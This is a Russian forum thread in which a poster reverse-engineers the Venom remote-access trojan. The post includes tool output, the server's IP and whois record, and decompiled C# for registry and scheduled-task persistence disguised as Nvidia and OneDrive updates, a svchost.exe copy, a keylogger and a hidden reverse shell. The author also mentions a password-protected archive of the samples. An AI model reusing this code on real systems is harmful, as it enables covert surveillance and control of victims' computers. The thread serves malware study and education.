HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Threat Intel
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.10.2022, 20:30
Mark Klintov
Участник форума
Регистрация: 29.08.2022
Сообщений: 152
С нами: 1953134

Репутация: 0
По умолчанию

Введение

Не так давно большинство новостных каналов заполонили новости о работе вредоносного программного обеспечения. Существует множество вирусов для контроля системы и все они очень хорошо прячутся и самообороняются от нежелательного изучения исходного кода. Разработчики придумывают все более изощренные способы защиты и иногда ставят в тупик даже опытных реверс инженеров. Но поговорим немного о другом. Обычно за созданием вредоносов стоят хакерские группировки, которые придумывают свою версию малвари лишь бы ее не мог найти антивирус. А теперь я открою тебе глаза и скажу, что существуют целые компании по созданию ратников для администрирования компьютеров. Да, это не очередная опечатка, а реальный факт. Давай я на примере частной компании Venom Software разберу их продукт с очевидным и громким названием Venom.


План работы

Он, на удивление, очень короткий и простой. Я постараюсь объяснить тебе как работает такого типа малварь, что она делает, куда передает информацию и как закрепляется в системе. Вся демонстрация будет проводится на старой версии продукта, поскольку найти крякнутый и современный вариант этого зверя мне не удалось. Начнем наше путешествия как всегда со статического анализа PE-файла. Плавно перейдем к динамической работе и завершим все итогами по нашей работе. Что может быть проще?


Статический анализ

Итак, по традиции и с благоразумной точки зрения закинем наш файл в DiE. Он немного покапается в заголовках, расскажет нам на чем стоит приложение и какие библиотеки оно импортирует. Взгляни на результаты.




Итак, по традиции и с благоразумной точки зрения закинем наш файл в DiE. Он немного покопается в заголовках, расскажет нам на чем стоит приложение и какие библиотеки оно импортирует. Взгляни на результаты.



Прежде всего в глаза бросается полоса статуса, которая остановилась ровно на 80% и пояснением несжатый. И эти слова подтверждаются секциями. Ни одна из них не имеет обвеса и какой либо защиты. Парадокс! Но не будем ослаблять хватку и продвинемся дальше в изучении нашего вируса.

После таких манипуляций попробуем посмотреть таблицу импорта и экспорта. Заранее скажу, что на экспорт каких либо функций я к сожалению не нашел. Ну а для всего этого дела воспользуемся FileAlyzer. Ниже его вердикт по этому поводу.



Удивительно. В таблице всего лишь одна библиотека и соответственно одна функция. Давай приблизимся к нашей цели и попробуем приоткрыть занавесу с исходным кодом посмотрев какие действия выполняет наш вирус в системе. Чтобы преждевременно не прибегать к динамическому анализу я воспользовался программой pestudio и вот что из этого получилось.



Из таблицы выше ты можешь отчетливо видеть как наша малварь пытается связаться с неизвестным нам хостом и скачать отдельные файлы с него. Попробуем прогнать этот IP адрес через nmap и посмотрим, находится ли он вообще в сети. Спустя несколько минут ты получишь примерно такую картину:

Код:


Код:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 19:33 MSK
Nmap scan report for ip16.ip-91-134-207.eu (91.134.207.16)
Host is up.
All 1000 scanned ports on ip16.ip-91-134-207.eu (91.134.207.16) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.18 seconds
Ну и для убеждения проверим по whois, что это вообще за адрес. А расположен он во Франции и собрать о нем много информации к сожалению не получится, поэтому будем двигаться дальше, ну а ниже я оставил лог с сайта с подробной информацией об IP.

Код:


Код:
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '91.134.207.16 - 91.134.207.31'

% Abuse contact for '91.134.207.16 - 91.134.207.31' is 'support@hosterdaddy.com'

inetnum:        91.134.207.16 - 91.134.207.31
netname:        OVH_111463049
descr:          OVH Static IP
country:        FR
org:            ORG-HD37-RIPE
admin-c:        OTC2-RIPE
tech-c:         OTC2-RIPE
status:         ASSIGNED PA
mnt-by:         OVH-MNT
created:        2016-07-07T14:58:44Z
last-modified:  2016-07-07T14:58:44Z
source:         RIPE

% Information related to '91.134.0.0/16AS16276'

route:          91.134.0.0/16
origin:         AS16276
mnt-by:         OVH-MNT
created:        2016-04-15T11:43:03Z
last-modified:  2016-04-15T11:43:03Z
source:         RIPE
descr:          OVH

% This query was served by the RIPE Database Query Service version 1.103 (HEREFORD)
Переключаемся на наш любимый pestudio и во вкладке строк поищем что-нибудь интересное. К примеру наш паразит для выхода в онлайн и установки прослушки хоста использует известную программу ngrok. Крайне необычная находка, особенно с учетом всех обстоятельств. Можешь посмотреть на это сам.



Также Веном использует PowerShell в своих целях. Зачем-то убивает процесс explorer.exe, он же всеми любимый Internet Explorer и взаимодействует с парочкой системных процессов, один из них тебе уже знаком. Итак, такие строки выглядят крайне подозрительно для такого вируса. Кому придет в голову работать с древним браузере, тем более убивать его через консоль. Адрес из последних 4-х строк мы с тобой разобрали, поэтому останавливаться на них я не буду.

Итак, мы знаем базовую информацию и то, что файл чем-то покрыт (это ты заметишь из энтропии так как она стоит на 80%) также на эту мысль наводит тот факт, что таблица импорта состоит всего лишь из одной библиотеки и функции, которая в ней хранится. Так как работаем мы с NET приложением, то я решил отдать на растерзание вирус программе de4dot. До этого я упоминал ее в статьях как хороший инструмент для борьбы с NET Reactor. Но как ты понимаешь, вскрытие реактора это только одна из функций этой утилиты. Запускаем нашу консоль и вводим примерно такую команду:

Код:


Код:
C:\путь_до_утилиты\de4dot.exe C:\путь_до_вируса\$77-Venom.exe
Также ты можешь импортировать репозиторий отсюда прямиком в Visual Studio, собрать его и пользоваться консольной версией программы без каких либо проблем.

Таким образом утилита обрабатывает файл и создает такой же с пометкой cleaned, что означает очищен. Кидаем файл в dotPeek и любуемся результатом. Ниже я поместил скриншот до расшифровки и после нее.





Как ты понял, вирус имеет какой-то китайский обфускатор. Но нас он не остановил, поэтому теперь ты можешь в корень изучить весь код. Я лишь расскажу об основных ветках и за что они отвечают, чтобы тебе было легче ориентироваться.

Ознакомиться с фундаментальными функциями вируса, такими как запись видео, аудио и сбор информации ты можешь в ветке
Код:
xClient.Core.Packets.ClientPackets
. Они обеспечивают работу со стороны зараженной машины, ну а функция по соседству уже отвечает за работу со стороны сервера, она же имеет название xClient.Core.Packets.ServerPackets. Чтобы не спалить соединение в системе Веном использует встроенное прокси, его можно увидеть в названии
Код:
xClient.Core.ReverseProxy.Packets
. Далее идет дополнительный функционал. Полезные нагрузки, кейлогеры и стиллеры. Все это ты оценишь в функции Utilities. Все подробно я разберу позднее.

Итак, со статическим анализом мы разобрались. У нас есть исходный код и на этом можно было завершить наши исследования, но давай все же посмотрим какие данные передает вирус и как он адаптируется в системе.

Динамический анализ
Первым делом я решил убедиться в том, что вирус действительно пытается связаться с определенным хостом. Для этого используем наш любимый Wireshark. К сожалению, что-либо связанное с нашим айпишником мне не удалось найти, но при запуске наш вирус отправляет информацию на некий адрес. Попробуем отфильтровать его и посмотрим, что у нас получится. Для этого я использовал следующий фильтр:

Код:


Код:
ip.dst == 208.95.112.1


Первым делом компьютер устанавливает соединения путем отправки начального пакета. Далее идет ответ от сервера и передача информации по протоколу HTTP. Давай посмотрим, что он содержит. Кликаем правой кнопкой мыши по полю с интересующим нас протоколом. В выпадающем списке функций выбираем Следовать -> HTTP. И в итоге мы видим, что вирус отправляет наше местоположение и данные о нашем браузере. Интересно, как так получилось? На самом деле все очень просто. Если вбить этот IP в адресную строку, то нас перекинет на сайт ip-api. С его помощью Веном вытаскивает всю информацию и отправляет на сервер.

Также вирус добавляет к этому наименования твоего компьютера для дальнейшей передачи на сервер. Больше ничего полезного в перехваченных пакетах нету. Попробуем испытать удачу еще раз и обратимся к TCPView. Запускаем наш вирус и переходим на него в окне программы. Кликаем правой кнопкой мыши по процессу и выполняем функцию whois, тем самым тебе предоставят данные о том, куда и зачем обращается вирус. Пример такой работы ты можешь увидеть ниже.



И вот нашлась наша вторая зацепка. Веном наблюдает за твоим устройством при помощи программы для записи экрана Bandicam. Довольно известный продукт. Теперь давай посмотрим, что импортирует наш вирус в период активности. Если на статическом анализе было все крайне просто, одна библиотека и одна функция, то в процессе работы картина меняется и количество импортируемых функций значительно шире. Давай убедимся в этом при помощи утилиты Explorer Suite. В себе она имеет Task Explorer для отслеживания процессов в реальном времени. Запустим его и найдем нашего паразита. Далее ты увидишь примерно такую картину:



Как ты видишь, в процессе работы вирь подгружает такие библиотеки как ntdll и wow. Самые стандартные системные файлы, которые можно найти на локальном диске. Больше пользы чем исходный код нам уже программа не принесет. Давай как раз вернемся к нему и посмотрим, какую полезную информацию мы можем вытащить.


Разбираем исходный код
Итак, еще на ранних этапах я показал тебе как добраться до исходного кода нашего вируса. Спешу тебя оповестить о том, что в себе программа содержит еще несколько полезных файлов которые мы можем вытащить при помощи ExtremeDumeper. Чтобы провернуть все это дело тебе следует запустить сам дампер и вместе с ним малварь. Дальше используя интуитивно понятный интерфейс дампишь все это дело в удобное для тебя место. Выглядит это все примерно так:



Как ты уже заметил у нас появилось еще два PE-файла с довольно понятными названиями. Закинем их к нашему Веному в dotPeek. Сам файл Install, подгружая библиотеки, создает файл с определенным именем. Его генерация в коде выглядит следующим образом:

C#:


Код:
public
static
void
Install
(
bool
is64bit
)
{
string
str1
=
"x"
+
(
is64bit
?
64
:
86
)
.
ToString
(
)
+
".dll"
;
string
str2
=
Path
.
Combine
(
Path
.
GetTempPath
(
)
,
"$77-"
+
Guid
.
NewGuid
(
)
.
ToString
(
"N"
)
+
"-"
+
str1
)
;
File
.
Copy
(
Path
.
Combine
(
AppDomain
.
CurrentDomain
.
BaseDirectory
,
"r77-"
+
str1
)
,
str2
)
;
new
FileInfo
(
str2
)
.
Attributes
|=
FileAttributes
.
Temporary
;
using
(
RegistryKey
registryKey
=
RegistryKey
.
OpenBaseKey
(
RegistryHive
.
LocalMachine
,
is64bit
?
RegistryView
.
Registry64
:
RegistryView
.
Registry32
)
.
OpenSubKey
(
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"
,
true
)
)
{
registryKey
.
SetValue
(
"LoadAppInit_DLLs"
,
(
object
)
1
)
;
registryKey
.
SetValue
(
"RequireSignedAppInit_DLLs"
,
(
object
)
0
)
;
registryKey
.
SetValue
(
"AppInit_DLLs"
,
(
object
)
str2
)
;
}
}
И как ты мог заметить все это дело копируется у нас в реестре по соответствующему пути. Конечно, если почитать весь код внимательно, то можно понять, что таким образом вирус закрепляется в системе для дальнейшей эволюции в rootkit. Ну а такого паразита из системы будет гораздо сложнее вытащить. В ветке ресурсов ты можешь посмотреть версию библиотек.

Перейдем к еще одному любопытному файлу с названием Chrome. В главной функции содержится ветка, которая подгружает стандартные библиотеки Windows и закрепляется в системе путем создания копии по пути: C:\\windows\\system32. Присмотревшись к названием переменных, ты можешь увидеть такие название как payload, которые говорят сами за себя. Малварь пытается всеми силами выжить в системе. Также есть всеми любимый Thread.Sleep, который позволяет не палиться если все пойдет через одно место. Ну а скомпилировано все это дело при помощи Visual Studio версии 16.5.0 от 2019 года. Хотя самое интересное начинается в функции CopyMySelf на ветке Program. Здесь, созданные полезные нагрузки склеиваются с известными программами, чтобы скрыть следы присутствия в системе. Все выполняется от имени администратора и вот тому подтверждения в коде:

C#:


Код:
string
str1
=
"Onedrive-Standalone"
;
string
sourceFileName1
=
Path
.
Combine
(
Environment
.
GetFolderPath
(
Environment
.
SpecialFolder
.
ApplicationData
)
,
"$77-Venom.exe"
)
;
string
str2
=
"Onedrive"
;
string
path1
=
"%AppData%\\Roaming"
;
string
str3
=
Path
.
Combine
(
path1
,
"Install.exe"
)
;
string
str4
=
Path
.
Combine
(
path1
,
"$77Install.exe"
)
;
Здесь у нас происходит копирования в системные папки, а дальше малварь проверяет наличия прав суперпользователя. И если они имеются, то происходят такие действия:

C#:


Код:
if
(
WindowsAccountHelper
.
GetAccountType
(
)
==
"Admin"
)
{
try
{
string
environmentVariable
=
Environment
.
GetEnvironmentVariable
(
"SYSTEMROOT/tasks"
)
;
string
name
=
WindowsIdentity
.
GetCurrent
(
)
.
Name
;
Process
.
Start
(
new
ProcessStartInfo
(
)
{
FileName
=
"cmd"
,
Arguments
=
"/k start /b powershell Cacls "
+
environmentVariable
+
" /e /t /g "
+
name
+
":F  & exit"
,
CreateNoWindow
=
true
,
WindowStyle
=
ProcessWindowStyle
.
Hidden
,
UseShellExecute
=
true
,
ErrorDialog
=
false
}
)
;
Process
.
Start
(
new
ProcessStartInfo
(
"schtasks"
)
{
Arguments
=
"/create /tn "
+
str2
+
" /sc ONLOGON /tr \""
+
sourceFileName1
+
"\" /rl HIGHEST /f"
,
UseShellExecute
=
false
,
CreateNoWindow
=
true
}
)
.
WaitForExit
(
1000
)
;
Process
.
Start
(
new
ProcessStartInfo
(
"schtasks"
)
{
Arguments
=
"/create /tn "
+
str1
+
" /sc ONLOGON /tr \""
+
str4
+
"\" /rl HIGHEST /f"
,
UseShellExecute
=
false
,
CreateNoWindow
=
true
}
)
.
WaitForExit
(
1000
)
;
string
str5
=
Path
.
Combine
(
Environment
.
GetFolderPath
(
Environment
.
SpecialFolder
.
CommonStartup
)
,
"$77Nvidia_Update.exe"
)
;
string
str6
=
"NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}"
;
Process
.
Start
(
new
ProcessStartInfo
(
"schtasks"
)
{
Arguments
=
"/create /tn "
+
str6
+
" /sc ONLOGON /tr \""
+
str5
+
"\" /rl HIGHEST /f"
,
UseShellExecute
=
false
,
CreateNoWindow
=
true
}
)
.
WaitForExit
(
1000
)
;
}
Как ты видишь первым делом запускается оболочка PowerShell и производится ряд команд. Далее как всегда запускается еще один вредоносный процесс и производятся операции непосредственно с ним. После происходит комбинация и создание процесса Nvide_Update. Не повезло конечно поклонникам Radeon в этом случаи. Даже svchost попадает под раздачу.

C#:


Код:
string
str10
=
Path
.
Combine
(
Environment
.
GetFolderPath
(
Environment
.
SpecialFolder
.
System
)
,
"svchost.exe"
)
;
File
.
Copy
(
sourceFileName1
,
str10
)
;
Process
.
Start
(
new
ProcessStartInfo
(
)
{
WindowStyle
=
ProcessWindowStyle
.
Hidden
,
CreateNoWindow
=
true
,
UseShellExecute
=
false
,
FileName
=
str10
}
)
;
Также рекомендую оценить кейлогер. О его расположении я говорил выше и записывает он информацию в формате нажатая_клавиша-час:минуты. Ниже я привел часто кода, где это все реализуется.

C#:


Код:
private
void
OnKeyDown
(
object
sender
,
KeyEventArgs
e
)
{
string
input
=
GClass57
.
smethod_4
(
)
;
if
(
!
string
.
IsNullOrEmpty
(
input
)
&&
input
!=
this
.
_lastWindowTitle
)
{
this
.
_lastWindowTitle
=
input
;
this
.
_logFileBuffer
.
Append
(
"

["
+
GClass57
.
smethod_2
(
input
)
+
" - "
+
DateTime
.
Now
.
ToString
(
"HH:mm"
)
+
"]
"
)
;
}
if
(
this
.
_pressedKeys
.
IsModifierKeysSet
(
)
&&
!
this
.
_pressedKeys
.
Contains
(
e
.
KeyCode
)
)
{
this
.
_pressedKeys
.
Add
(
e
.
KeyCode
)
;
}
else
{
if
(
e
.
KeyCode
.
IsExcludedKey
(
)
||
this
.
_pressedKeys
.
Contains
(
e
.
KeyCode
)
)
return
;
this
.
_pressedKeys
.
Add
(
e
.
KeyCode
)
;
}
}
В дополнении происходит конвертация служебных клавиш как пробел, esc и enter. Происходит это в отдельном контейнере switch:

C#:


Код:
switch
(
strArray
[
index
]
)
{
case
"Return"
:
stringBuilder1
.
Append
(
"[Enter]
"
)
;
continue
;
case
"Escape"
:
stringBuilder1
.
Append
(
"[Esc]"
)
;
continue
;
default
:
stringBuilder1
.
Append
(
"["
+
strArray
[
index
]
+
"]"
)
;
continue
;
}
Файл с данными отправляется на сервер в формате месяца дня и года.

C#:


Код:
string
str
=
Path
.
Combine
(
Keylogger
.
LogDirectory
,
DateTime
.
Now
.
ToString
(
"MM-dd-yyyy"
)
)
;
Обратная Shell оболочка работает слегка иначе. При ее включении первым делом указывается нужная кодировка для правильного отображения символов. Все последующие команды выполняются с флагом /k, что означает их бесконечность. Проще говоря они исполняются без последующего завершения. Всю эту информацию ты найдешь в цикле создания сессии. Я приложил его ниже.

C#:


Код:
private
void
CreateSession
(
)
{
lock
(
this
.
_readLock
)
this
.
_read
=
true
;
this
.
_encoding
=
Encoding
.
GetEncoding
(
CultureInfo
.
InstalledUICulture
.
TextInfo
.
OEMCodePage
)
;
this
.
_prc
=
new
Process
(
)
{
StartInfo
=
new
ProcessStartInfo
(
"cmd"
)
{
UseShellExecute
=
false
,
RedirectStandardInput
=
true
,
RedirectStandardOutput
=
true
,
RedirectStandardError
=
true
,
StandardOutputEncoding
=
this
.
_encoding
,
StandardErrorEncoding
=
this
.
_encoding
,
CreateNoWindow
=
true
,
WorkingDirectory
=
Path
.
GetPathRoot
(
Environment
.
GetFolderPath
(
Environment
.
SpecialFolder
.
System
)
)
,
Arguments
=
"/K"
}
}
;
this
.
_prc
.
Start
(
)
;
this
.
RedirectOutputs
(
)
;
this
.
ExecuteCommand
(
"chcp "
+
this
.
_encoding
.
CodePage
.
ToString
(
)
)
;
new
DoShellExecuteResponse
(
Environment
.
NewLine
+
">> New Session created"
+
Environment
.
NewLine
)
.
Execute
(
(
GClass18
)
Class5
.
gclass19_0
)
;
}
Все файлы для работы я оставил для тебя в конце статьи, поэтому если интересно повторить действия из статьи, то ты спокойно можешь это сделать. Теперь давай плавно перейдем к нашему завершению, ведь мы прошли весь путь в изучении этой малвари. Остается выяснить важные моменты, чем мы сейчас и займемся.

Подводим итоги
Итак, в этой статье я постарался максимально понятно и доходчиво объяснить как разреверсить такую малварь. Конечно, до дизассемблирования дело не дошло, но в дальнейших статьях я просвещу тебя в это дело и покажу как бороться с упаковщиками и обфускаторами на уровне ассемблера. Ниже предоставлен тот самый архив с файлами по которому я работал. Для

защиты от нежелательного удаления антивируса на нем установлен пароль: codeby.
 
Ответить с цитированием

  #2  
Старый 07.10.2022, 11:02
Gustavo Fring
Новичок
Регистрация: 15.07.2018
Сообщений: 0
С нами: 4121094

Репутация: 0
По умолчанию

Цитата:

Mark Klintov сказал(а):

Зачем-то убивает процесс explorer.exe, он же всеми любимый Internet Explorer и взаимодействует с парочкой системных процессов, один из них тебе уже знаком.
explorer.exe - это обычный проводник, который отвечает за отображение окружающей среды пользователя Windows. У браузера Internet Explorer, хоть и похожий, но чуть другой процесс - iexplore.exe
А так, хорошая исследовательская работа
 
Ответить с цитированием

  #3  
Старый 17.01.2023, 16:48
Сергей Сталь
Новичок
Регистрация: 02.03.2021
Сообщений: 0
С нами: 2737559

Репутация: 0
По умолчанию

хорош!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.